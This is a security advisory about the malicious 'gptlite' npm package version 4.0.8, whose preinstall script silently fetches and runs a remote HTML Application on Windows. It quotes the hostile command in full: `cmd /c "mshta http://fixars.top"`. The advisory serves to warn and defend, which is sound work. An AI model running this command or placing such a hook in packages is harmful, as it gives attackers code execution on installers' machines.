The 'gptlite' npm package version 4.0.8 includes a preinstall.js script invoked by the 'preinstall' lifecycle event, which runs the command `cmd /c "mshta http://fixars.top"` on Windows systems. The mshta.exe utility fetches and executes a remote HTML Application over plain HTTP from the domain fixars.top, which is unrelated to the package's documented purpose. Because the content is delivered over unauthenticated HTTP, it is fully attacker-controlled and mutable, enabling arbitrary code execution on the machine running 'npm install' before any package code is reviewed.

This vulnerability allows an attacker to execute arbitrary code on the system of any user who installs the affected package version on Windows. The code execution occurs automatically during the npm install process via the preinstall script, potentially compromising the installer's machine and environment.

No official patch or fix is currently documented for this malicious package version. Users should avoid installing 'gptlite' version 4.0.8. It is recommended to verify package integrity and source before installation and consider using trusted package registries or alternative packages. Monitor vendor advisories for any updates or remediation guidance.